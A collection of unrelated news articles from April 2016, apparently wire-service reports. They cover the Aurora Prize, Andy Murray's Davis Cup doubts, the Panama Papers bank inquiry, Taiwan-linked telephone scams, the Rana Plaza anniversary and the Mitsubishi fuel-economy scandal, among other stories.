Alongside the award, Nobel Laureates, charities and former politicians will participate in the Aurora Dialogues - a series of debates on the humanitarian state of the world, focusing prominently on the global refugee and migrant crisis and the impact of the Syrian civil war.

A report commissioned by the prize found that the general public widely underestimate the refugee crisis and exaggerate their own government's response to helping Syrians.

The Humanitarian Index found the British public thought the civil war in Syria caused 300,000 people to flee the country - 16 times fewer than the official figure of 4.8m.

The index also found people in Britain, as well as Germany, the US, Lebanon, Iran and France, all overestimated the number of Syrians who had been relocated in their countries.

The prize will highlight these misconceptions and is to be awarded 101 years to the day that Armenians say the Ottoman Empire began a genocide against their people, causing hundreds of thousands to flee the country as refugees.

Modern day Turkey strongly disputes claims that the events of 1915 were a genocide and the figures stated.

Co-founder of the Aurora Prize Vartan Gregorian said: "The Aurora Prize is about recognising and celebrating these individuals for risking it all for the sake of others.

"By showing the impact one person's actions can have, it is our hope that others will be compelled to act too."
Andy Murray admits he may have to miss Davis Cup tie in Serbia

Andy Murray has admitted for the first time that he may reconsider his involvement in Great Britain's defence of the Davis Cup after it was announced the quarter-final in Serbia will take place on clay.

Last year, the 28-year-old led Great Britain to their first Davis Cup success in 79 years with victory over Belgium but their hopes of retaining the title could now come under threat.

Murray's summer schedule looks packed with the French Open, Wimbledon and US Open joined on the calendar this year by the Olympic Games in Rio de Janeiro, and both he and Serbia's main man could withdraw from the tie in Belgrade scheduled for July 15 to 17.

Andy Murray led Great Britain to their first Davis Cup success in 79 years in 2015

Murray will have already converted to the grass-court season with Queen's and Wimbledon high on his agenda, while the Olympics and the US Open take place on hard courts, meaning he could play three consecutive competitions on three different surfaces.

Asked if the decision to play their Davis Cup tie on clay could potentially alter his commitment, Murray replied: "Potentially. I need to see how my body is first.

"I leave now to go away next week to Madrid it's pretty much full on through until the Olympics for the next few months.

"(It is) a number of surface changes in a very short space of time, so you never know how the body is going to react or how it's going to pull up after those changes.

"I'll just have to see how my body is. Hopefully I'll be fine, but it's going to be a tough few months and I think all the players are aware of that right now. The more surface changes that are put in there makes it that bit more tricky."

World number two Murray was speaking at the launch of his new charity event, 'Andy Murray Live', which will see him play at Glasgow's SSE Hydro to raise funds for the UNICEF charity and Young People's Futures.

It will take place on September 21 and tickets will be a maximum price of 25.

Murray, who was also unveiled as a new ambassador for UNICEF on Friday morning, said he was surprised by the choice of a clay-court in Serbia but did not think it was a strategic move to unsettle the British team.

"It's tough. It just makes things more difficult at that period of the year," he said.

"I thought that maybe they would put it on a hard court potentially. Obviously clay for us would be our weakest surface. It's going to be tough. I would say I was slightly surprised by it.

"But every single away tie I have played over the last few years has been on clay. We went away to the States and played on clay, which is by far their worst surface. Italy, it's a bit more understandable. Belgium, I don't know if that is their best surface, also Serbia.

"It's more about making our team uncomfortable. It's the surface I've had my worst results on, Dan Evans, my brother as well. That's the reason for them putting it on clay.

"It's completely understandable but it's tricky for Novak Djokovic changing surfaces at that time too.

"I don't know what the likelihood of him playing is. I think (fellow British player) Dom Inglot said he was trying to pick (Serbian professional) Nenad Zimonjic's brain about whether Novak was playing or not. I don't think he got an answer.

"The reason for them picking clay is the surface is the worst for us, they've got a bunch of their guys who play well on clay. Novak is a great clay-court player."

Murray's busy summer comes as he looks to balance time on the court and time with his baby daughter Sophia, who was born two months ago.

But the responsibilities of being a first-time father are not weighing too hard on the two-time grand slam winner as he looks to spend as much time as possible with wife Kim and their daughter.

"That side of things isn't so bad because obviously during the Wimbledon period I am at home for four weeks," he added.

"Hopefully if the French goes well and Kim and baby are going to come to Paris, that will be a seven-week stretch in a row that we get to spend together, so that's fine.
Rail firm wins injunction against union in Gatwick Express dispute

Govia Thameslink has secured an injunction against rail union Aslef over its members' refusal to drive new, longer trains on the Gatwick Express, the company said.

The company took its case to the High Court in London after accusing Aslef members of refusing to drive the first services that were due to operate in 12-car formation in recent days.

The union is planning to ballot its members for industrial action over the dispute, saying it has never reached an agreement for the new trains on the Gatwick Airport to London Victoria service.

Rail union Aslef is facing legal action in a dispute over the Gatwick Express route

A spokesman for GTR said: "We are pleased that the court has granted us an injunction that Aslef must not induce our drivers to refuse to operate the new 12 car trains. Gatwick Express services have operated without conductors operating the doors for 17 years, so we were never able to understand why the Aslef union objected to the operation of these new trains in the same way.

"The new trains will offer significant benefits to passengers including a much better travelling environment. We plan that by June 50% of weekday services will operate with 12 cars and we will now commence their introduction into service.
Cameron slams laws rolling back anti-discrimination protection in two US states

David Cameron has hit out at laws rolling back anti-discrimination protection in two US states which have been branded "anti-gay" by campaigners.

The Foreign Office has warned that lesbian, gay, bisexual and transgender (LGBT) people could be "affected" by the legislation passed in North Carolina and Mississippi.

Speaking alongside US president Barack Obama, the Prime Minister said laws should be used to end discrimination "rather than to embed it".

Prime Minister David Cameron spoke about anti-discrimination laws during US president Barack Obama's visit

The official travel advice issued by the Foreign Office said: "The US is an extremely diverse society and attitudes towards LGBT people differ hugely across the country. LGBT travellers may be affected by legislation passed recently in the states of North Carolina and Mississippi."

At a joint press conference with the US president in the Foreign Office, Mr Cameron said: "I have been to North Carolina, many years ago, and enjoyed it. I have not yet made it to Mississippi but one day I hope to.

"The guidance we have put out - the Foreign Office gives advice on travel and it obviously deals with laws and situations as they are and it tries to give that advice dispassionately and impartially and it is very important that it does so.

"It's something that a lot of attention is given to.

"Our view on any of these things is that we believe we should be trying to use law to end discrimination rather than to embed it or enhance it and that's something we are comfortable saying to countries and friends anywhere in the world.

"But obviously the laws people pass is a matter for their own legislatures but we make clear our own views about the importance of trying to end discrimination and we have made some important steps forward in our own country on that front, which we are proud of."

Rock stars including Bruce Springsteen and former Beatle Ringo Starr have cancelled performances in North Carolina in protest at the law passed by the state, while Bryan Adams pulled out of a gig in Mississippi.
More worries for Joe Marler despite Harlequins win

Joe Marler could face another suspension after appearing to kick hooker Arnaud Heguy in the head as Harlequins saw off Grenoble 30-6 to reach the European Challenge Cup final.

The England prop was in his first game back after the two-match ban for his "Gypsy boy" slur against Wales tighthead Samson Lee during the Six Nations.

The 25-year-old's kick to Heguy in the 26th minute of Quins' semi-final was not picked up by referee John Lacey, but Marler could still face a citing and a disciplinary hearing.

Joe Marler could be in trouble again

Any ban could now jeopardise Marler's availability for Harlequins' Challenge Cup final on May 13, and even England's three-Test tour to Australia in June.

Marler initially escaped censure for his taunts against Lee in England's 25-21 Six Nations victory over Wales at Twickenham on March 12.

Global governing body World Rugby later intervened and called a misconduct hearing however, dissatisfied with the leniency of Six Nations and RFU bosses.

Marler admitted the charge and was banned for two matches and fined 20,000.

The loosehead prop had only just returned from that suspension for Quins' last-four European tussle at The Stoop on Friday night, and has appeared to waste little time in courting further controversy.

Jamie Roberts, the fit-again fly-half Nick Evans and George Lowe claimed the tries that sent Quins into their first European final since winning the Challenge Cup in 2011.

Conor O'Shea's men will now face the winners of Saturday's other semi-final clash, between Montpellier and Newport Dragons.

Harlequins' 13-6 half-time lead was not nearly sufficient, by virtue of both their early dominance and Grenoble's threats of a recovery.

No one of a French persuasion much fancied stopping juggernaut centre Roberts in fifth gear, and the Wales midfielder duly trucked over for the first-half's sole try.

Ben Botica's conversion and two penalties had Harlequins in control, but Jonathan Wisniewski was able to land two goals of his own to cut the home advantage.

Quins were 13-3 to the good just inside the first quarter though, and singularly failed to seize on that rapid start for the remainder.

Perhaps the ease of their early dominance lulled O'Shea's men into a false sense of security.

Whatever the reasons, Grenoble created enough of a scrap to scrabble a foothold.

Three times though the visitors set themselves a fine platform, only to botch their approach play at the critical stage.

Quins somehow escaped without shooting themselves in the foot however, and were able to close out the clash after the break despite yet more fluctuating fortunes.

Fit-again fly-half Evans capped his return from a broken leg with the try that effectively sealed Quins' victory, the Kiwi playmaker reclaiming his own grubber to score just ahead of the hour.
Arcadis says internal probe finds no wrongdoing in Brazil

AMSTERDAM, April 21 (Reuters) - Dutch engineering firm Arcadis said on Thursday an internal investigation into its role in a Brazilian water management project had found no evidence of any wrongdoing.

In December, the company said it was cooperating with Brazilian police as part of an investigation into suspected misuse of funds at a $6.4 billion water management project in northern Brazil.

It was never clear whether the company itself was a target of the Brazilian government's investigation, which has named other suspects, but the government investigation is continuing.

At the time, the news led to a major sell-off in Arcadis shares.
Mexico's Cemex posts surprise profit, sends stock to 8-month high

By Gabriela Lopez

MONTERREY, Mexico, April 21 (Reuters) - Mexico's Cemex reported an unexpected $35 million profit in the first quarter of 2016, following a loss of $149 million in the same period a year earlier, helped by increased sales in the United States.

Analysts surveyed by Reuters had expected Cemex, one of the world's largest cement producers, to report a net loss of $30 million in the quarter.

In the United States, its leading market, Cemex said net sales rose 6 percent to $920 million, aided by a pickup in residential and infrastructure construction as well as better weather than a year earlier.

The better-than-expected results helped send Cemex shares to an eight-month intraday high of 13.540 pesos on the Mexican stock exchange. The stock was last trading up 2.4 percent on the day at 13.380 pesos.

The Monterrey-based company, which has been selling assets to cut debt, reported a 3 percent fall in consolidated net sales to $3.2 billion.

Cemex reiterated its guidance in February that it was targeting a total debt reduction of up to $2 billion by 2017. In a presentation, Cemex said it saw asset divestments worth $1 billion to $1.5 billion by 2017.

The company lowered its 2016 total capital expenditure to $650 million from the $700 million seen in February. Cemex added it expected to raise its free cash flow for the year by $400 million to $450 million, up from a previous estimate of a $350 million increase.

Cemex's earnings before interest, tax, depreciation and amortization were $583 million, its best such quarterly result since 2009.

It added that on a like-for-like basis, taking into account ongoing operations and foreign exchange fluctuations, its global sales rose 3 percent.
NY regulator wants foreign banks' records on dealings with Panama firm

By Suzanne Barlyn

April 21 (Reuters) - New York state's financial regulator has told 13 foreign banks doing business there to hand over details about their dealings with a law firm in Panama that helped set up thousands of shell companies, a person familiar with the matter confirmed.

The move by the New York Department of Financial Services (NYDFS) came weeks after the International Consortium of Investigative Journalists worked with media outlets including The Guardian and BBC to report on 11.5 million leaked documents from Panama law firm Mossack Fonseca.

The documents, which have come to be known as the Panama Papers, contained information on about 214,000 offshore companies and showed how individuals and corporations were able to hide assets and avoid taxes.

NYDFS asked the banks, including Deutsche Bank AG , Credit Suisse Group AG, Commerzbank AG, ABN Amro Group NV and Societe Generale SA for their communications, telephone records and details of other dealings between their New York branches and employees or agents of Mossack Fonseca.

The banks are not accused of wrongdoing.

Spokespeople for Deutsche Bank, ABN Amro and Societe Generale declined to comment. Spokespeople for the other banks could not be immediately reached.

Bloomberg reported the story late on Wednesday.

The U.S. Justice Department is also reviewing reports about the offshore financial arrangements of global politicians and public figures based on 11.5 million leaked files from a Panamanian law firm, a department spokesman said on Monday.
Iran denounces as "theft" US ruling awarding Iran money to bomb victims - TV

ANKARA, April 21 (Reuters) - Iran has denounced as "theft" a U.S. Supreme Court ruling that almost $2 billion in frozen Iranian assets must be paid to American families of those killed in the 1983 bombing of a U.S. Marine Corps barracks in Beirut and other attacks blamed on the Islamic Republic, state television reported.

"This is totally rejected. It is theft ... it is like stealing Iran's money and we condemn it," Foreign Ministry spokesman Hossein Jaber Ansari was quoted as saying.
Israel says attack on Jerusalem bus was Hamas suicide bombing

JERUSALEM, April 21 (Reuters) - Israel said on Thursday that an attack on a Jerusalem bus this week that wounded 15 people was a suicide bombing, the first such attack in years.

Suicide bombings on Israeli buses were a hallmark of the Palestinian revolt of 2000-2005 but have been rare since. A spate of stabbings, car-rammings and gun attacks by Palestinian militants since October have put Israelis on the alert for an escalation.

The internal security agency, Shin Bet, said Monday's attack was linked to Hamas, the Islamist group that controls the Gaza Strip.

Israeli security forces arrested several suspected accomplices of the bomber, Abdel-Hamid Abu Srour, in the occupied West Bank in the hours after the incident and they are being questioned by the Shin Bet, the agency said.

The pro-Hamas Palestinian Information Centre said Srour, 19, was a member of the Izz el-Deen Al-Qassam brigades, the Hamas' armed wing.

Srour, who lived in the Ayda refugee camp near Bethlehem in the West Bank, suffered severe wounds in the explosion that wrecked the bus and died in an Israeli hospital on Wednesday. Most of the casualties have been discharged from hospital.

In the last six months, Palestinian attacks have killed 28 Israelis and two visiting U.S. citizens. Israeli forces have killed at least 191 Palestinians, 130 of whom Israel says were assailants. Many others were shot dead in clashes and protests.
Germany arrests two teenagers suspected of bombing Sikh temple

BERLIN, April 21 (Reuters) - Three people were injured in a bomb attack at a Sikh temple in western Germany, police said on Thursday, adding that two 16-year-olds arrested after the attack appeared to have Islamist backgrounds.

"We must act on the assumption that it was a terrorist attack, religiously tainted terrorism of the Islamist scene," said Frank Richter, police chief in the city of Essen, where the attack took place last weekend.

One of the suspects handed himself in after police released footage showing two young men carrying backpacks in which investigators believe they hid explosives used in the attack.

The second suspect was arrested in a police raid.

Both teenagers were born and raised in Germany, German media reported.
South Sudan and rebels in weaponry wrangle over Machar's return

By Denis Dumo

JUBA, April 21 (Reuters) - South Sudan's government and rebels are wrangling over weaponry and therefore still at odds over the terms for allowing rebel leader Riek Machar to return to the capital, a government negotiator said on Thursday.

On Wednesday, the two sides said a deal had been reached on Machar's delayed return to form a unity government.

However, government negotiator Michael Makuei now says the government cannot allow the rebels to bring some of the weapons proposed including rocket-propelled grenade launchers.

"The problem is not the (rebel) SPLM-IO any more, the delays are on the government side," said SPLM-IO negotiator Taban Deng Gai.

The chairman of the Joint Monitoring and Evaluation Commission (JMEC), Festus Mogae, said after a hastily convened meeting aimed at resolving the dispute that a proposal had been presented to the government and SPLM-IO.

"The SPLM-IO accepted the proposal but the government gave their reservation," he said.

JMEC, which includes Western powers, African representatives and others, had proposed allowing Machar to bring 195 members of his forces, part of a quota agreed in a peace deal, and a limited amount of arms.

The two South Sudan rivals have strained the patience of international mediators, frustrated by continued wrangling after the peace deal was signed in August to end more than two years of fighting in a nation that gained independence in 2011.

Machar, who will be First Vice President in a transitional government with President Salva Kiir, was due to fly back early this week.

But his return was postponed, the latest in a series of such delays, in a dispute over how many soldiers and weapons he could bring.

Mogae said there would be further talks on Friday and, if there was no breakthrough, the matter would be sent to the U.N. Security Council and African Union peace and security council for "an appropriate response".

The United States and U.N. Security Council have voiced concern over the latest delay to Machar's return after a conflict in which thousands have been killed and more than two million forced to flee their homes.

Kiir's sacking of Machar as his deputy in 2013 precipitated the crisis that led to a conflict in December 2013.

Fighting has often run along ethnic lines, pitting Kiir's dominant Dinka ethnic group against Machar's Nuer.

The conflict has hammered the economy and left swathes of the 11 million population without enough food.
UN Syria envoy to pursue peace talks next week

By Stephanie Nebehay

GENEVA, April 21 (Reuters) - The U.N. Special Envoy for Syria said on Thursday peace talks will continue next week despite the main opposition's decision to leave early, a move he dismissed as "diplomatic posturing".

Staffan de Mistura, in an interview with French-language Radio Television Suisse (RTS), said 400,000 people had been killed in the five-year-old war, far higher than the previous U.N. toll which has varied from 250,000 to 300,000.

All members of the main Syrian opposition will leave peace talks in Geneva by Friday, their chief negotiator Asaad Zoubi said on Thursday, with little prospect of talks resuming unless the situation radically changes on the ground.

"There is also lots of diplomatic posturing and it's normal. That is to say, propose things that are more difficult to accept leave and come back, leave again and come back," de Mistura said. "It's also fairly justified, because there are moments when one asks whether the ceasefire is holding."

Asked whether the talks would continue, he said: "We cannot let this drop. We have to renew the ceasefire, we have to accelerate humanitarian aid and we are going to ask the countries which are the co-sponsors to meet."

World and regional powers sponsor the fragile cessation of hostilities that went into effect on Feb 27 but has been left in tatters by increased fighting in the past week in Aleppo, Latakia and other hotspots.

The latest round of talks, which began on April 13, was meant to focus on the thorny issue of political transition. But the Damascus delegation has called for a national unity government, and shows no signs of accepting opposition demands for President Bashar al-Assad to go.

"His interest is to try to stay in power, in my opinion. In the current conditions, the solution is political transition," de Mistura said.

"Despite the negotiating tension, they all agree - all of them - that there must be a transition, that means a radical change," he said.

De Mistura, asked to confirm whether "the partisans and enemies" of Assad have met in Geneva hotels and spoken directly, replied:

"You know in all negotiations, there are formal discussions. And that's exactly the reason you have to extend them by several days, it allows for what is called informal diplomacy."

Pressed to say whether the two sides had met, he said: "They all know each other, and they are all Syrians. And I would like to believe in the end they believe in Syria too."
China blames Taiwan criminals for surge in telephone scams

By Michael Martina and J.R. Wu

BEIJING/TAIPEI, April 22 (Reuters) - China is battling an explosion of telecoms fraud that has cost billions of dollars in financial losses and driven some victims to suicide, according to authorities in Beijing who say criminal gangs based in rival Taiwan are behind many of the scams.

Chinese state media has blamed weak punishments in the self-ruled island, and reported that Chinese-speaking fraudsters recruited in Taiwan were increasingly setting up operations in East Africa or Southeast Asia.

Despite political tensions, the two sides have in recent years cooperated on investigating such scams, but Taiwan says mainland authorities sometimes do not provide enough evidence for them to do anything.

"We are a democratic, rule of law country," said Chang Wen-yuan, a squadron chief with the Criminal Investigation Bureau, Taiwan's top investigative agency.

"In this respect, we emphasize the proof or lack of evidence. You can't just say, 'today media reports the person committed a crime,' just like that."

Chang was speaking after China slammed Taiwan at the weekend for freeing 20 suspects deported to the island from Malaysia in a telecoms fraud case. Most were re-detained on Thursday, Taiwan prosecutors said.

TYPICAL OPERATION

While many of the reports in Chinese state media cannot be independently verified, the scale of the problem was underlined by another spat that erupted earlier this month when Kenya deported 45 people from Taiwan suspected of involvement phone fraud to China, prompting accusations of kidnapping from Taipei.

Chinese police said the case was typical of such operations, which often target the elderly, students or unemployed and involve a caller posing as some kind of government official.

According to details provided to state media, robotically delivered, pre-recorded messages were sent to people in mainland China claiming there was a problem with their medical insurance.

Those who responded were put through to one of multiple lines in a house in a Nairobi suburb, state news agency Xinhua said, where a bogus police officer following an elaborate script would tell the victim their bank accounts had been compromised and convince them to transfer money to a "safe" account.

Scammers have also been know to fake arrests or abductions of family members, or to try to convince victims that money was needed in legal disputes involving relatives.

China's Public Security Ministry did not respond to a request for comment.

ARRESTING "MULES"

Chinese authorities registered 590,000 telecoms fraud cases in 2015, according to Public Security Ministry statistics cited by state media, up from about 100,000 in 2011, leading to losses of 22.2 billion yuan ($3.4 billion).

On average, more than 10 billion yuan ($1.5 billion) is swindled out of the mainland to Taiwan by telephone scammers every year, the official Xinhua news agency has reported.

Since 2011, Taiwan and the mainland have cooperated in investigating telecoms fraud in Indonesia, Cambodia, Philippines and other countries, arresting more than 7,700 suspects, including 4,600 from Taiwan, Xinhua said.

"Most of the people they are arresting are the mules," said Lennon Chang, a criminologist and expert in telecoms fraud at Monash University in Melbourne. "They are not the real leaders or heads of the criminal organised syndicates."

Chang said that telecoms fraud took hold in Taiwan in the early 1990s, before a crackdown prompted scammers to shift operations to Xiamen, a port in southeastern China that is just a few kilometres from the Taiwan-controlled island of Kinmen.

There, fraudsters could pick up Taiwan mobile phone signals to call Taiwanese victims, hiding behind the lack of law enforcement cooperation across the Taiwan Strait.

Later they began targeting the mainland, said Chang, but as the authorities in Taiwan and China began to collaborate the gangs were pushed to third countries, aided by advances in technology and moving frequently to make evidence collection harder.

TRANSNATIONAL RINGS

Chinese state media have reported harrowing tales of the victims of such scams.

The People's Daily website reported one case in January in which a man from the central province of Henan who transferred 10,000 yuan ($1,500) to fraudsters hanged himself outside of a branch of the Agricultural Bank of China after the bank and police were unable to help him recover his money. He had been convinced to invest in a fake business.

Official Chinese news outlets have also run stories contrasting sentences in China, where life terms have been meted out for telephone fraud, with jail time of just a few years for similar crimes in Taiwan.

"...Because of Taiwan's generally light penalties for telecoms fraud ... many suspects are not severely punished or not convicted," Xinhua said in an April 15 report.

Hong Chia-juan, a chief prosecutor in Taichung in central Taiwan, said in the past three to four years the district had investigated with China cases involving more than 970 mostly Taiwanese people suspected of telecoms fraud in third countries.
California coastal regulator fined for conflict of interest in SeaWorld case

By Sharon Bernstein

SACRAMENTO, Calif., April 21 (Reuters) - A member of the regulatory commission that controls coastal development in California was fined by the state's ethics watchdog on Thursday for voting on an expansion of SeaWorld's San Diego theme park while his wife owned stock in the company.

Gregory Cox, who is also a longtime member of the San Diego County Board of Supervisors, said in a statement Thursday he did not know that his wife had purchased 500 shares of SeaWorld stock in January of 2015 for her personal retirement account, according to the California Fair Political Practices Commission.

"When I discovered the purchase, the stock was sold and the facts were reported," Cox said. "Both my wife and I deeply regret the oversight."

About three months after Cheryl Cox bought the stock for $8,679, SeaWorld filed an application with the California Coastal Commission to expand a facility at which captive orcas, or killer whales, are held and shown to the public.

Cox introduced a motion to support the project with limitations on the number of orcas involved, voting ultimately to support an amended version calling for an end to SeaWorld's orca breeding program. On Thursday, the California Fair Political Practices Commission voted to fine him $3,000.

The SeaWorld shows, which the park has since said it would end along with its orca breeding program, have been controversial for years, with public opposition growing after the 2013 documentary "Blackfish" depicted the captivity and public exhibition of killer whales as inherently cruel.

The criticism intensified after three marine mammals, an orca, a beluga whale and a white-sided dolphin, died at SeaWorld San Antonio within four months in late 2015 and early 2016.

SeaWorld said last month that it would stop breeding killer whales in captivity, bowing to years of pressure from animal rights activists. The company has also said that it will phase out its signature "Shamu" killer whale shows in San Diego with modified presentations of the animals that focused on conservation.

Cox told the FPPC he discovered that his wife owned the stock in January while preparing his taxes and his annual disclosure of economic interests as a public official.

He asked her to sell the stock, and reported the conflict to the FPPC, documents show.

But the FPPC said Cox and his wife, a former mayor of the city of Chula Vista who sold her stock for about $9,593, were longtime elected officials who "had a high level of awareness" of conflict of interest laws.
Amnesty accuses Nigerian army of mass killings of Shi'ites in northern city

LAGOS, April 22 (Reuters) - Amnesty International said on Friday that Nigeria's army killed hundreds of men, women and children from a minority Shi'ite Muslim sect last December, but the military dismissed the rights group's report as hasty, one-sided and biased.

Amnesty's report relates to events in the northern city of Zaria where the army has said the Islamic Movement in Nigeria tried to assassinate its chief of staff, Lieutenant General Tukur Buratai, when members of the sect blocked his convoy.

The following day the army said it had raided several buildings connected to the sect.

Amnesty said more than 350 people were believed to have been unlawfully killed by the military between December 12 and 14. Its report contains satellite images that it said appeared to show the location of a mass grave.

One witness, Yusuf, said soldiers set fire to a makeshift medical facility in the sect's compound.

"Those who were badly injured and could not escape were burned alive," he said, adding that he believed tens of people died in this way.

Amnesty said it carried out research in February 2016 during which 92 people were interviewed, including alleged victims and their relatives, eyewitnesses, lawyers and medical staff.

"It is clear that the military not only used unlawful and excessive force against men, women and children, unlawfully killing hundreds, but then made considerable efforts to try to cover-up these crimes," said Netsanet Belay, an Amnesty director.

"Our research, based on witness testimonies and analysis of satellite images, has located one possible mass grave," he said.

Last week Amnesty called for an investigation after a Kaduna state official told an inquiry into the clashes that the military secretly buried 347 people in mass graves.

The inquiry has the power to impose fines and payment of compensation. In January, the army chief of staff told the inquiry that his soldiers had acted appropriately in the raid.

Nigerian army spokesman Sani Usman said the Amnesty report lacked credibility. "It is a hasty, one-sided and biased report aimed at arriving at a predetermined objective, he said.

"They must allow the inquiry and all other relevant agencies to complete and submit their reports before jumping to conclusions," he added.

Most of the tens of millions of Muslims in Nigeria are Sunni, including Boko Haram militants who have killed thousands in bombings and shootings, mainly in the northeast, since 2009.
Three years after Rana Plaza disaster, has anything changed?

By Rina Chandran

MUMBAI, April 22 (Thomson Reuters Foundation) - Three years after the Rana Plaza disaster in Bangladesh that killed more than 1,100 factory workers, the rights and safety of workers are in greater focus, but progress in fixing problems in the supply chain is slow, experts and activists say.

Global fashion retailers say the tragedy prompted them to work together more closely to protect workers in developing nations and ensure the safety of buildings. There has also been legislation to ensure greater supply-chain transparency.

"You have about 200 brands working together, and there's definitely more transparency, more attention to the issue of human rights in the global supply chain," Sarah Labowitz, co-director of the Center for Business and Human Rights at the NYU Stern School of Business in New York, told the Thomson Reuters Foundation.

"But in addressing fire safety, building safety, workers' protection - there aren't enough practical discussions around these issues, not enough financing. So not enough has changed," said Labowitz, who wrote a report on the aftermath of the disaster, published in December.

In the Rana Plaza disaster, one of the worst ever industrial accidents, 1,135 people were killed when an eight-storey building housing five garment factories supplying global brands suddenly collapsed.

The collapse of the complex, built on swampy ground outside the capital Dhaka, sparked demands for greater safety in the world's second-largest exporter of readymade garments and put pressure on companies buying clothing from Bangladesh to act.

LOW WAGES

The duty-free access offered by Western nations and low wages for its workers helped turn Bangladesh's garment exports into an industry with $25 billion in annual revenue. Sixty percent of the clothes go to Europe, 23 percent to the United States and 5 percent to Canada.

The minimum monthly wage for garment workers in Bangladesh is $68, compared with about $280 in mainland China, which nevertheless remains the world's biggest clothes exporter. .

British budget fashion chain Primark, which was sourcing some clothing from Rana Plaza, said companies had recognised the need to ensure that workers were paid fairly and conditions were good, but building safety had not been an issue.

"It is fair to say that the industry had not considered structural integrity of buildings as a risk," Paul Lister, head of Primark's ethical trading team, told the Thomson Reuters Foundation in a recent interview.

"You would look inside the building, but not onto the floor above or below. You would see all the certificates, however these with Rana Plaza were later proved to be false. I don't think industry anticipated those buildings would collapse."

After the Rana Plaza collapse on April 24, 2013, a former chief engineer of the state-run Capital Development Authority said the owner had not received proper consent for the building, and that an extra three storeys were added illegally.

More than 40 defendants face charges over the disaster, but about 24 of the accused have absconded.

BEHIND SCHEDULE

The disaster led to the creation of two international coalitions designed to assess and help fund improvements to building and fire safety at thousands of garment factories in Bangladesh.

Most European retailers signed up to an Accord on Fire and Building Safety in Bangladesh, which oversees more than 1,600 factories used by retailers like H&M, Marks & Spencer and Primark.

Accord inspectors set out structural, electrical and fire-safety improvement plans for most of the factories.

But nearly three years on, about 70 percent of those plans are behind schedule, according to data on its website.

North American brands, meanwhile, signed up with a different inspection group, the Alliance for Bangladesh Worker Safety.

Setting and maintaining standards is tough, Labowitz said.

"There are economic, geographic and political factors with supply chains. How do you ensure governance across them? A global inspection system is difficult," she said.

The slow pace of inspections led Primark to employ its own structural surveyor to monitor the 100 factories in Bangladesh and 60 or so in Pakistan from which it sources its products, Lister said.

"These are the countries where you have these high-rise factories and the added corruption of allowing these factories to be built when they should not be," said Lister. "The risk is greater."

A TINDER BOX

In neighbouring India, also a hub for clothing manufacture and export, retailers H&M, Inditex, C&A and PVH committed earlier this year to improving the lives of workers in the southern city of Bengaluru, after a report said employees lived in appalling conditions and were denied decent wages and freedom of movement.

Activists say workers' conditions are still far from ideal, and chances of another disaster like Rana Plaza remain high.

"While compensation for victims became a priority after the disaster, the perennial problems of safety, health and prevention still need to be addressed," said Gopinath Parakuni, general-secretary of non-profit Cividep India.

"Every factory is still a tinder box, and effective ways to ensure day-to-day safety are still not in place," he said.

Legislation such as the UK's Modern Slavery Act, passed a year ago, is expected to put added pressure on companies to clean up their supply chains.

But garment workers in Bangladesh still face daunting challenges to unionisation, and remain at risk of interference and threats, Human Rights Watch said in a statement on Thursday.

"Let's remember that none of the factories operating in Rana Plaza had trade unions," Phil Robertson, deputy Asia director at Human Rights Watch, said in the statement.

"If their workers had had more of a voice, they might have been able to resist managers who ordered them to work in the doomed building a day after large cracks appeared in it."

ETHICAL CONSUMERS

As well as companies and governments, consumers are getting involved in the campaign for greater supply-chain transparency.

Global retailers' efforts will have little impact unless consumers demand more ethically produced goods, industry experts said at a Thomson Reuters Foundation panel last week.

Fashion Revolution, a UK-based charity established in response to the Rana Plaza disaster, has popularised the Twitter hashtag #whomademyclothes, while The Human Thread Campaign, similarly set up after the disaster, asks Catholics to reflect on the origin of their clothes.

"Politically, socially, there's a big debate about the real cost of globalisation," Labowitz said.

"If the fashion industry were to disappear tomorrow, it wouldn't be good for Bangladesh and other countries where workers are dependent on it. But we are going to need to keep the debate going, keep the pressure on retailers, on governments, on consumers," she said.
Japan MPs visit controversial Tokyo shrine for war dead

TOKYO, April 22 (Reuters) - A group of Japanese lawmakers on Friday visited a Tokyo shrine seen by critics as a symbol of Japan's past militarism to pay respects to the country's war dead, a step that could strain ties with its Asian neighbours China and South Korea, Kyodo news agency reported.

The visit comes a day after Prime Minister Shinzo Abe sent a ritual offering to the Yasukuni shrine, where 14 war criminals convicted by an Allied tribunal are among those honoured, to mark its annual spring festival, and ahead of an expected visit by Foreign Minister Fumio Kishida to China.

Kishida will likely meet his Chinese counterpart Wang Yi on April 30 to try to ease friction over issues such as sovereignty disputes in the East China Sea and China's assertive moves in the South China Sea, Japanese media have said.

Japan's ties with China and South Korea have long been plagued with territorial disputes, regional rivalry and what Seoul and Beijing see as Japanese leaders' reluctance to atone fully for the country's wartime past.
Mitsubishi Motors mileage scandal widens, U.S. regulator seeks information

By Naomi Tajitsu and Chang-Ran Kim

TOKYO, April 22 (Reuters) - Mitsubishi Motors Corp's fuel economy scandal broadened on Friday as U.S. auto safety authorities said they were seeking information, and media reported that the automaker had submitted misleading data on at least one more model than disclosed and likely several others.

Japan's sixth-largest automaker admitted this week it had overstated the fuel efficiency of 625,000 cars, wiping off around 40 percent of its market value, or $3.2 billion in three days.

The revelations have also prompted Japanese authorities to raid one of its research and development facilities while Standard & Poor's warned its rating could be lowered further into speculative grade territory.

Adding to fears that the scandal will lead to ballooning compensation costs and fines, top Japanese government officials said Mitsubishi may have to reimburse consumers and the government if investigations find the vehicles were not as fuel-efficient as claimed.

"This is a serious problem that could lead to the loss of trust in our country's auto industry," Transport Minister Keiichi Ishii told a news conference on Friday.

He said he wanted Mitsubishi to look at the possibility of buying back the cars in question, while another minister was quoted by media as saying the government could ask it to pay for any electric car subsidies granted to consumers.

Domestic media reported that Mitsubishi had submitted misleading mileage data on its i-MiEV electric car, which is also sold overseas. Previously disclosed models are marketed specifically for the Japanese market and Mitsubishi has admitted to manipulating their fuel economy readings.

The Sankei newspaper also said the automaker is also suspected of using non-Japanese test methodology on its RVR, Outlander, Pajero and Minicab MiEV models.

Mitsubishi has said there may be models other than those disclosed that violate Japanese regulations. A spokesman said on Friday the company was still looking into those models.

"A lot of the potential impact on Mitsubishi is pending whether they find out that something was wrong in cars sold in the U.S.," said Christopher Richter, an analyst at CLSA.

A PLETHORA OF SCANDALS

An official at the U.S. National Highway Traffic Safety Administration told Reuters the regulator had asked Mitsubishi for information on vehicles sold in the United States.

He declined to comment on which models it had requested information on, or whether it had requested data from other automakers.

The misconduct has revived memories of a scandal more than 15 years ago in which Mitsubishi admitted to systematically covering up customer complaints for more than 20 years, bringing the company close to collapse.

